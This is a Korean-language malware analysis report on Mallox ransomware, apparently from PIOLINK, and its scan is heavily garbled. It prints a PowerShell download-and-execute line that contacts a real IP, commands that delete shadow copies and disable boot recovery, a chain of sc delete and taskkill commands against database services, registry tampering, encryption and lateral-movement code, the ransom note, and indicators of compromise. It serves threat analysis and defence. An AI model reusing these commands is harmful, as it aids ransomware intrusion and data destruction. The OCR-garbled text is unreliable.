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z|ok MSSQL MHE o|88 27| 2ES AL
C BIC} aRX exe THUO| tzt.exe2 AHZAE|H, AAIET} ASHeEIC

9l HO|IZES T2

cl = New-Object System.Net.WebClient
1.DownloadFile("http://80.66.75.36/aRX.exe", "C:\Windows\TEMP\tzt.exe")

$
$

C

a3 2) miejd A3YE oflA|
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tzt.bin
MD5 70c464221d3e4875317c9edbef04a035
SHA-256 6c743c890151d0719150246382b5e0158e8abc4a29dd4b2f049ce7d313b1a330
File Type Win32 EXE File Size 141.50 KB
F2 WL o A2etE ot g8 27 L Q2 MHZ dES W&ot
=8 e L RECOVERY b
C&C AH hxxps://whyers.io/QWEwaqdsvsf/ap.php
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Mallox ransomware £

ME

FETETL Al E|H A= 2IAAC A0E AlEstH ECh §4 A07F AE O 43
E= M o4 M3tz ¥ F=otA Ebt ddIEE £ IV0IM dallzls A2 Ydl ot A
o2 mfotgict

F4681 33C4 | xor eax,esp

F46813 898424 38020000 mov dword ptr ss:[esp+238],eax

F4681A 53 push ebx
56 push esi

F4681C 57 pusir—eds

F46810 FF15 6891F500 Lca‘l'l dword ptr ds:[<&GetUserDefaultLangID>]

F46823 OFB7CO ooz X _say ay

F 26 B9 19040000 mov ecx,419

F . 66:38C1 cmp ax,cx

- .v OF84 B4020000 je mallox.F46AES

F 83C1 26 add ecx,26

F . 66:3BC1 cmp ax,cx

F .v OF84 A8020000 je mallox.F46AES

F B9 23040000 mov ecx,423

A% 3> A 20| ZAL
F{g_L}: AIOH 1"5a| EJJKEE
0x419 ={AOF
0x43F IR E AEL
0x423 HIpt2 A
0x422 232f0|L}
0x444 EIEf2 AE
(B 1] 24E3E HA A2 ol

A2l 27t ZEE(R]| ¢tg E9 AEIE= US TAE st 2250 S0{7t7| o HEst
+WE 2lsll “SeDebugPrivilege”, “SeTakeOwnershipPrivilege” &t+& 0|8310] Aot 458 Al
StCt. “SeDebugPrivilege™@| 2% ZZAMAO CHZAE & & U= HSE FHFHH, “SeTakeOwn-
ershsipPrivilege’?| 2% ZZMA0 AFHE FO{SiC}

3 = GetCurrentThread();
if ( OpenThreadToken{vi, Bx28u, B, &lokenHandle}
|l (w4 = GetCurrentProcess{), OpenProcessToken{vi, @x28u, &TokenHandle}} )
{
HewState .Privileges[ 8] .Aattributes = 2;
HewState _PrivilegeCount = 1;
if { LookupPrivilegeValueW{@, v2?, (PLUID)HewState.Privileges)
&& AdjustTokenPrivileges({TokenHandle, @, &MewState, 8, B, @) )
{ i #E ”‘*3
vl = B;
if ( tGetLastError() )
vl = 1;
H
CloseHandle{TokenHandle};
result = vi;
e
a4y B3 43 AE
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, IZ2MA Z2, SQL A MH|A Z2

Bz AE2] 7| ARlo] B B ‘Raccine’Zt BUE 7|8 AMSICE Raccine2 2E4AZ F)
P2 Walsty| Qs BAE RAER] 7SS ARED, OF)

S MO} AlOIC Eat T &
o= ABHS 01BH =7 WA M

SHDeleteKeyW{HKEY_CURRENT_USER, L"SOFTWAREWRaccine™);
SHDpeleteKeyW(HKEY_LOCAL_MACHINE, L SOFTWAREWWRaccine™);
SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SYSTEM#MCurrentControlSetiServicestttEventLogittipplicationtRaccine™);
SHDeleteKeyl{

HEKEY_LOCAL_MACHINE,

L"SOFTWAREM#Hicrosoft¥Windows HTWWCurrentVersiontImage File Execution OptionstMfussadmin.exe');
SHDeleteKeyW(

HKEY_LOCAL_MACHINE,

L"SOFTWAREW#Hicrosoft¥lindows NTWMCurrentVUersionttImage File Execution Optionsttumic.exe™);
SHDeleteKeyl({

HKEY_LOCAL_MACHINE,

L"SOF TWAREW#Hicrosof ttlindows NTWMCurrentUersiontttImage File Execution Optionstfwbadmin.exe™);

AU 5) YR|AEZ| 7| At

GetWindowsDirectoryW{&Buffer, Bx1804u);
lstrcatW{&Buffer, L"W#sysnativettussadmin.exe');
1strcpyW{&Stringi, L" delete shadows fall /quiet');
ShellExecuteW(®, L"open', &Buffer, &3tringi1, 8, 8);

return 9;
g6y =+ oHY A
Crgez fEi 2dE 27 OA[R|7F 2| EEE Higdalsth, Ats 5771 X RS Ats
=7 7|2 HlEdet st

{
sub_4845BF{L"/c bcdedit fset {current} bootstatuspolicy ignoreallfailures™);
sub_4845BF{L"/c bcdedit fset {current} recoveryenabled no");
sub_ 4BASFF6();
return 8;

H

A% 7> 57 oY MA Y 7|5 HIgdst

1 = SQL #Hd ZENAS 2H0F =t SQLY HAE MB|ASE S AZIC

© PIOLINK, Inc. 6



result = CreateToolhelp32inapshot{2u, 8});
vl = result;
hinapshot = result;
if § result *= {HAHDLE}Y-1 )
1
pe.dwSize = 556;
if { Process3Z2HextW{result, &pe) )
1
do
1
u2 = {LPCUYSTR =)off_ 41E398;
ud = 11;
do
1
if { *lstrocmpW{pe.szExeFile, =uZ} )
1
u4 = OpenProcess{lu, B, pe.th32ProcessiID);
us = uh;
if { vh *= (HAHDLE}-1 )
1
TerminateProcess{uld, B8);
GCloseHandle{u5);
H
A8 T=NHA =B
(B 2] 32 O Z2M2 & HHS
Z3F A T2 A
Sqlserv.exe Oracle.exe
Ntdbsmgr.exe Salservr.exe
Salwriter.exe Msdtssrvr.exe
Reportingservecesservice.exe Fdhost.exe
Fdlauncher.exe Mysal.exe
Y gus

/C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc
delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTE-
LEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLA-
gent$VEEAMSQL2012"&8&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServ-
erADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete
"ReportServer"&&sc  delete  "SQLTELEMETRY$HL"&&sc  delete  "TMBMServer'&&sc  delete
"MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc
delete  "SQLAgent$WOLTERSKLUWER"&&sc delete  "MSSQLFDLauncher$OPTIMA"&&sc  delete
"MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete
"msftesql$SQLEXPRESS"&&sc  delete  "postgresql-x64-9.4"&&rem  Kill  "SQL"&&taskkill -f -im
sqlbrowser.exe&&taskkill -f -im sqglwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im
msmdsrv.exe&&taskkill -f -im  MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im
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fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im  SQLAGENT.EXE&&taskkill -f -im
fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingS-
ervicesService.exe&&taskkill -f -im msftesqgl.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe

OEst 4% EF MBI ZREE HBO| TSR YEE 57| S ABAIL HUS E2
Z2 1 OARE HOIRCH E5 6 9, dY ZRot BUE YA 712 HHH Y

(Z]Ct2]= =) mallox

Do MOT shutdown OR reboot your PC: this might damage your files
permanently !

A% 9 HH I8 A 32

sub_4842CE(L"SOFTUAREWHicrosofti¥¥PolicyManageritde FaultiStartWHideShutDown™, L"value", s (BYTE =)& | H
sub_4842CE(L"SOFTUAREWHicrosoftWPolicyHanageridefaul tWStarti#iHideRestart”, L"value", s (BYTE =)& ' H
sub_4842CE(L"SOFTUAREWHicrosoftW#PolicyManagerittde faultiStartiideSignout™, L value”, s (BYTE =)& | H

=‘],
sub_4842CE(
L"SOFTWAREW#Hicr osoftiWindowsWiCurrentVersionPoliciesiSysten”,
L"shutdownwithoutlogon”,

{BYTE =)& '
sub_4842CE(L"SOFTUAREWWPoliciesticrosoftilindows NTW#Terminal Services™, L"MaxConnectionTime", ., (BYTE *)& );
sub_4842CE(

PN COCTIADELIMD AT S nd ool Caumaies e BT T neernin 0l Cowndonctt

<A 10> 2z 2E2| 7| 4 U H|EEs)

[E 3] &8 4 Z2MA

TE Y Z2MA

SOFTWARE%WMicrosoftwPolicyManagerwdefaultwStartwHideShutDown

. . . 2, CHAl A2, 2701R
SOFTWAREWMicrosoftwPolicyManagerwwdefaultwStartwHideRestart ey
SOFTWAREWMicrosoftwPolicyManagerwdefaultwStartwHideSignOut
SOFTWAREWMicrosoftwWindowsWCurrentVersionWPolicies Sys- 22 AMEfOA 22
temWshutdownwithoutlogon H|2HAd 5}
SOFTWARE W Policies#MicrosoftwWindows NT#WTerminal ServiceswMax-
ConnectionTime
SOFTWARE#PoliciestMicrosoft#Windows NTWTerminal Ser- oA gAIE A
viceswMaxDisconnectionTime 2 43
SOFTWARE W PolicieswMicrosoftwWindows NTWTerminal Ser-
vicesWMaxldleTime

© PIOLINK, Inc. 8



=0 2 E20|EE =3t Y=s} iy SCAR|, Y=et Ched 232t Q1] WS YootsE
bt [He TUd] [ Y =t mallox PACZ MAHES HASICH ARt EH
0|sS 5t7| 2laiA ARP EO|Z0IA IPFAS HAMSHT

u39 . LowPart = ={ DWORD =)(al - 28);

SetFilePointerEx{vi16, v39, B8, 2u);

*(_DWORD =)(a1 - 112) = 16908546

WriteFile(u16, (LPCUDIDY(al - 112), 4u, (LPDWORD)}(al - 96), @);
WriteFile(u16, (LPCUDIDY(al - 1@88), 8u, (LPDWORD)}(al - 96), @);
WriteFile(u16, (LPCUDIDY(al - 92), B8x28u, (LPDUORD)}(al — 96), 8);
WriteFile(u16, (LPCUDIDY(al - 52), @8x10u, (LPDUWORD)}(al — 96), @);
WriteFile(u16, byte_ 424974, B%26u, (LPDWORD)(a1 - 96), 8);
CloseHandle{u16);

w4l = =(const WCHAR =x){al - 336);

vil = lstrlenW{={LPCWSTR =){a1 - 336));

2 = 1strlenW{L".mallox"});

ulhd = vl + uh2 + 1;

vl = sub_HOCO3C(2 * {(vi4l + v4Z + 1) | -{{unsigned _ intéh){unsigned int){ulil + uvi2 + 1) >> 31 t= @));
uls = {const WCHAR =)ulh;

if ( uhh )

{

wnsprintfW{vis, w43, {const char =)L"%s%s", vhd, L".mallox"};
HoveFileW{u4d, uLS);
sub_48CEAF{(LPUDID)YuLE);

H

plse

ad 1) oy 2425t

[E 4] efsst A9l &3z, 2H, ot

ots3} Aol &t}

.msstyles .icl .idx .rtp .dll .hta .no-
media .cur .lock .cpl .mdf .smd .bak .dbf .sgl .avast .mallox .sys .globeimposter-Al-
pha865qgqz .ics .hlp .com .spl .msi .key .mpa .rom .drv .bat .386 .adv .diang-
cab .mod .scr .theme .ocx .prf .cab .diagcfg .msu .cmd .ico .msc .ani .icns .diagpkg .desk-
themepack .wpx .msp .bin .themepack .shs .nls .exe .Ink .ps1

=3} Ae| EH

Msocache, $windows.~ws, system volume information, inte,| appdata, perflogs, pro-
gramdata, google, application data, tor browser, boot, $windows.~bt, Mozilla, windows
old ,windows ,microsoft.net ,windows powershell ,windows NT, windows, Common Files, Mi-
crosoft SecurityClient, internet Explore,r Reference, Assemblies, windows defender, Microsoft
ASP NET, Core Runtime, Package, store, Microsoft help viewer, Microsoft MPI, windows Kkits,
microsoft NET, windows mail, package store, microsoft analysis services, windows portable
devices, windows photo viewer, windows sidebar

223} A2l o

desktop.ini, ntuser.dat, thumbs.db, iconcache.db, ntuser.ini, ntldr, bootfont.bin,
ntuser.dat.log, bootsect.bak, boot.ini, autorun.inf, debuglog.txt, targetinfo.txt
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if { GetIpNetTable(®, &SizePointer, 1) == 122 )

IGetIpNetTable(v2, &5i

TEEE N H
if { v2->dwNumEntries )

¢4 = (struct in_addr *}&v2->table[@].dwAddr;
vd3 = (int)&v2->table[@].dwAddr;

vS = inet _ntoa(*w4);
v6 = MultiByteToWideChar(®, @, v5, -1, (LPWSTR)WideCharStr, 38);

<2 12> ARP E|o|& ZHM

ILE RECOVERY.txt - H2Z
OFE(F) ME(E) A0y 2N ES2H)
Hel o
Wour files are encrypted and can not be used

To return your files in work condition wou need decryption too
Follow the instructions to decrypt all wour data

Do not try to change or restore files vourself, this will break them
It you want, on our site wou can decrypt one file for free, Free test decryption allowed only for not valuable file with size less than 3MB

How to get decryption tool:

1) Download and instal | TOR browser by this link: https://www. torproject.org/download/

2) |f TOR blocked in your country and you can't access to the link then use any YPH software

3) RBun TOR browser and open the site: wtyafjvhwargodadSwdvywhendoxdeuie73qy Ihkhvlrex|joyuklaad onion/mallox/privateSianin
4) Copy wour private ID in the input field. Your Private key: BE12D2764B178CEEDEADA0ZF

5) You will see payment information and we can make free test decryption here

Our blog of leaked companies:
wtvafjvhwargodadSwedvywhen3cxdeuieT3qv I hkhvlrexl joyuklaad.onion

It you are unable to contact us throush the site, then wou can email us: mallox.resurrection@onionmail.org
Waiting for a response via mail can be several days. Do not use it if wou have not tried contacting through the site

<A@ 13) HYLE

s7 260 HGIES SAlE = sid FFRES ddste MH|A “mallox’S d-getCt

—

GetModuleFileHameW{8, &Filename, Ox104%u);
ug = L"admin$";
vz = B;
U9 = L"%Zwindir%";
uil = L"e$";
vil = L"G:";
do
{
unsprintfW{&HewFiledame, 268, {const char =)L"HARM%SHLSHE,s exe™, ul, (&UB)[4 = v2], L"mallox");
unsprintfW{&BinaryPathHame, 268, (const char =)L"%stW#%is.exe™, (&v9)[4 = v2], L"mallox");
CopyFileW(&Filename, &MewFileName, @); A EREN HEIS MM AE
result = OpenSCHanagerW{vi, 8, 0xFB83Fu);
vh = result;
if { result )
{
v5 = CreateServiceW(result, L"mallox", L"mallox", OxF@1FFu, 8x1Bu, 3u, 1u, &BinaryPathHame, @, 8, 8, @, 8);
hSCobject = w5; Ff AT ordas dyla 5
if { v5 || GetLastError{) == 1673 )
{

uf = StartServiceW(uvs, 8, B);

CloseServiceHandle{hSCObject);
result = (SC_HANDLE)CloseServiceHandle{u4);

<3 14> MHIA 4y

© PIOLINK, Inc. 10



mallox ZA(23 AXZH) |
2o |za2| =7 | =34
MH| 2 DI mallox

EAOE: mallos

Y ‘ =]

S O E=
Cotwindowsmallos, exe

ME SHE): ~E =l

MHI2 AT 24 DM Coor

<A 15> dHE MH~

o] EE +ystH, #8E FESS ‘Targetinfo.txt’2h=
5

GetComputerNameA{Buffer, &nSize);
NumberOfBytesWritten = 8;

*{_DWORD *)DirectoryMame = 1;

sub_4@41CH{uf, DirectoryMame, &MumberOfBytesWritten);
*#(_DWORD =)LCData = B;

GetLocaleInfoA{ Bx480u, B0x5Au, LCData, 4);

*{_DWORD *)DirectoryMame = 8;

u3ii = °8;
u3ih = B8;
u3s = °;
u3n = B;
u3iy = °8;
u7 = (const void *)sub_uB1245(

L"GET",
L"http:f/fapi.ipify.org”,
(int)L"Content-Type: application/x-www-form-urlencodedirinHost: api.ipify.orgrin™,
a,
a,
(int)DirectoryName);
if { u¥ && *{_DWORD =)DirectoryMame < 8x11u )

<12 165 AAH HE 27

B Targetinfo.txt - HR2Z

DRy TE(EY M0y 2I0V EEENH)
E [Windows 7 Ultimate =64, KR, B} BEM|0.0]14

<% 17> Targetinfo.txt

© PIOLINK, Inc. "



g2E

UM SYHAUXO| ST AYU= FATH SQL AMBILE, AW BIES
o

ozl Az =20k F¥E 712D AH. HERR MO 7ls=E U

AARIOE WEA DsiE 2 & Y2282 ZHEHSE 9|7t LRStC}
HACO| ZAS 97| 25 AT ATCIO|ESH, ALR ZQ Wiplo| HHS 2(Ao2
Inkll
loC

0427a9f68d2385f7d5ba9e9c8e5c7f1b6e829868ef0a8bc89b2f6dae2f2020c4
046327778219e98b0e7a028cealf689a81cf080fa0d64d4de8ef4803bb1bf03a
05194b34f8ff89facdd7b56d05826b08edaec9c6e444bdc32913e02cab01afd4
060ed94db064924a90065a5f4efb50f938c52619ca003f096482353e444bd096
Oe1c7ead148e7473e15a8e55413d6972eec6e24ef365e9f629884f89645de7 1a
10eealc13fd1a782c065627e23e7051edc1622f2eae5fbe138725369¢12f4b6d
10f96f64659415e46c3f2f823bdb855aab42d0bfced811c9a3b72aea5f22d880
1276786fc51f3b7e987aa95ebff0a3e1e358ee4e86e2302e472f84710271af7b
1b2727af9fc187cd5c932c6defe500983ad7508b4 196ad6c5ff5e96686277¢56
1c8b6d5b79d7d909b7ee22cccf8f71c1bd8182eedfb9960c94776620e4543d13
88eef50d85157f2e0552aab07cac7e7ec21680f5
60784ab7fec3f23066a996f3347b721a09eb677b63dbc5e1bb2bfc920fa3f13d
244d0582c894ebee9b712252aad53486fb956ee5
fa450286a4aa25579c8da7684051e7cdda3ba249ff03da71689e5138fd9f5c73
df29d5c4a750663440ce76d6804ce88e03faeef9591ecOb3b9ca348a6c930b7f

1c8b6d5b79d7d909b7ee22cccf8f71c1bd8182eedfb9960c94776620e4543d13
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0463277782f9e98b0e7a028cealf689a81cf080fa0d64d4de8ef4803bb1bf03a
090129920c9f0c74fb2170524477693d62c8493715520ae95143abd8055e7a39
0ec68c09f7eadff083b4fe91d56295d73740e7ea9chdfbf1a8e7021fadc323e1
22816dc4ddabbeecd53e9a48520842b8409c54933cc81f1a338bc77199ab917e

c207a7a561ab726fb272b5abd99c4da8e927b5da788210d5dd186023c2783990

Mallox DLS(Data Leak Site)

http[:]//wtyafjyhwgrgo4ad45wdvvwhen3cx4euie73qvihkhvlrexljoyuklaad[.Jonion/

C&C

hxxps://whyers.io/QWEwaqdsvsf/ap.php
80[.166[.]175[.137

104[.]21.76.77

104[.]237.62.211

172[.].67.191.103

64[.]1185.227.155
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